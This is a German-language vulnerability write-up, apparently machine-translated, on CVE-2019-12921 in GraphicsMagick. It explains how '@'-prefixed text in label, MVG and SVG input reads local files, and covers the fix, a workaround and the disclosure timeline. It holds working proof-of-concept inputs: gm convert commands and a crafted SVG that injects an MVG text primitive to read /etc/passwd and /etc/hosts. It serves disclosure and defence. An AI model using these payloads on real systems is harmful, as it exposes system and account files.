Im Jahr 2016 hat die ImageTragick- Sicherheitsanfälligkeit in ImageMagick viel Lärm gemacht. Um das Risiko zu verringern, wurde vorgeschlagen, GraphicsMagick , einen Zweig der ImageMagick-Bibliothek, zu verwenden, der auf eine stabilere und produktivere API abzielt. Die ursprüngliche Sicherheitslücke CVE-2016-3717, die von Stewie entdeckt wurde, ermöglichte es einem Angreifer, eine beliebige Datei im Dateisystem mit einem speziell gestalteten Image zu lesen. Heute werde ich eine ähnliche Sicherheitslücke in GraphicsMagick betrachten, die ich bei der Analyse des Quellcodes der Bibliothek entdeckt habe.
Der ursprüngliche Exploit über das Pseudoprotokoll 'label' von der ImageTragick- Site funktioniert nicht.
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context

Der Grund dafür ist, dass der ImagePrimitive-Bildverarbeitungsalgorithmus der Datei render.c ReadImage die Beschriftungszeichenfolge @ / etc / passwd nicht als Bild verarbeiten kann und den Fehler "Datei kann nicht geöffnet werden" zurückgibt. Funktionscode:
#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; }
Die Möglichkeit, Bilder im Dateisystem zu lesen, bleibt jedoch erhalten, kann jedoch nur zum Sammeln interner Informationen verwendet werden. Ein Beispiel für die Funktionsweise dieser "Funktion" finden Sie beispielsweise hier in den Berichten von BugBounty-Programmen.
Dies führte mich dazu, die Implementierung des Label-Codecs in GraphicsMagick im Detail zu untersuchen. Dazu führen wir die Konvertierung durch:
$ gm convert label:@etc/passwd output.png
Die Bibliothek gibt die erste Zeile der Datei / etc / passwd zurück. Dies bedeutet, dass das Pseudoprotokoll weiterhin anfällig ist, in den meisten Fällen jedoch nicht für einen Angreifer geeignet ist, da keine Möglichkeit besteht, die Befehlszeile zu beeinflussen. Um zu verstehen, wie Sie diese „Funktion“ nutzen können, schauen wir uns die Gründe an. Das Label-Pseudoprotokoll konvertiert eine Zeichenfolge mit der Funktion TranslateTextEx:
text=(char *) formatted_text; if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); }
Die Funktion akzeptiert den Eingabeparameter formatted_text. Wenn die Zeile mit dem Sonderzeichen '@' beginnt, wird die weitere Zeile von GM als vollständiger Pfad zu der Datei wahrgenommen, aus der der Inhalt zur Transformation gelesen werden muss. Schauen wir uns andere Stellen an, an denen diese Funktion verwendet wird, die von einem Angreifer ausgenutzt werden können.
- /coders/msl.c ist eine Vielzahl von Vorkommen, aber GM verwendet diese Sprache als Skriptsprache für den Befehl zaubern und wird in diesem Artikel nicht berücksichtigt. Der Vorgang ist möglich, erfordert jedoch eine spezifische Anwendungslogik
/magick/attribute.c behandelt Bildattribute. Die TranslateText-Funktion wird für die Kommentar- und Beschriftungsattribute aufgerufen, wenn sie direkt vom Benutzer übergeben werden, anstatt im Bild selbst gespeichert zu werden. Der Entwickler hat uns einen kleinen Tipp hinterlassen:
Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open.
Was passiert jedoch, wenn die Verarbeitung des Bildes durch die SetImageAttribute-Funktion ausgeführt wird, nachdem der Blob geschlossen wurde? Es stellt sich heraus, dass es einen solchen Codec gibt - SVG. Die Aufrufkette für die ReadSVGImage-Funktion lautet wie folgt:
- XML Parser wird heruntergefahren
- CloseBlob (Bild) schließt den Blob
- Der MVG-Delegat führt die Konvertierung durch
- SetImageAttribute (Bild, "Kommentar", svg_info.comment) Die Kommentar- und Titelattribute werden in das Bild geschrieben.
Für eine erfolgreiche Ausnutzung benötigt ein Angreifer das endgültige Format, um diese Attribute zu unterstützen, z. B. GIF, JPEG.
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg>
$ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg

- /magick/annotate.c Folgendes ist eine gute Option, um die verwendete AnnotateImage-Funktion zu nutzen:
- /coders/txt.c ähnelt dem Lablel-Pseudoprotokoll-TXT-Protokoll: Dies ist nicht von besonderem Interesse, da für den Betrieb Zugriff auf die Befehlszeile erforderlich ist.
- /magick/render.c Und hier kommen wir zu unserem letzten Exploit für den Text Magick Vector Graphics Primitive, der eine ziemlich einfache Syntax hat:
text "text"
Ein erfolgreicher Betrieb ist möglich, wenn die Zeile mit dem Sonderzeichen '@' beginnt.
$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png
Diese Methode ist in einer realen Anwendung äußerst selten, es gibt jedoch eine Möglichkeit, diese Sicherheitsanfälligkeit mithilfe von Delegaten auszunutzen. Der Delegat ist ein externer Bildprozessor, dessen Format von der Bibliothek nicht unterstützt wird. Es gibt eine Reihe von Codecs, die in eine temporäre Datei konvertiert werden und deren weitere Verarbeitung vom MVG-Pseudoprotokoll durchgeführt wird. Wie bereits erwähnt, handelt es sich bei diesem Codec um SVG.
Operation CVE-2019-12921
Das XML-Parser-SVG-Bild konvertiert das Markup in eine Zwischendatei:
FormatString(clone_info->filename,”mvg:%.1024s",filename);
Die img-Tag-Konvertierung hat den folgenden Code:
case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; }
Für die Ausnutzung müssen wir den Kontext der Zeichenfolge mit dem üblichen Anführungszeichen unterbrechen und unseren Exploit hinzufügen:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg>
$ gm convert exploit.svg output.png
Die Bedienung anderer Codecs mit MVG-Delegaten liegt im Ermessen des Lesers.
Schutz
Eine aktualisierte Version von GM ist auf der Website des Herstellers verfügbar. Mit dem Fix wird die Dateiunterstützung mit dem speziellen @ -Symbol im Moment, den Mercurial-Änderungssätzen 16037: f780c290b4ab und 16038: 44e3d0e872eb für die TranslateTextEx-Funktion, entfernt. Laut den Entwicklern wird diese Logik in Zukunft in einer sichereren Implementierung zurückgegeben. Zur Problemumgehung wird die Verwendung der Umgebungsvariablen MAGICK_CODER_STABILITY = PRIMARY empfohlen
Zeitleiste
Informationen über die Sicherheitsanfälligkeit wurden am 6. Juni 2019 an den Entwickler übertragen. Ein Hotfix wurde später an diesem Tag veröffentlicht. Am 15. Juni 2019 wurde unter www.openwall.com ein Informationsschreiben veröffentlicht. Am 20. Juni 2019 wurde diesem Problem CVE-2019-12921 zugewiesen.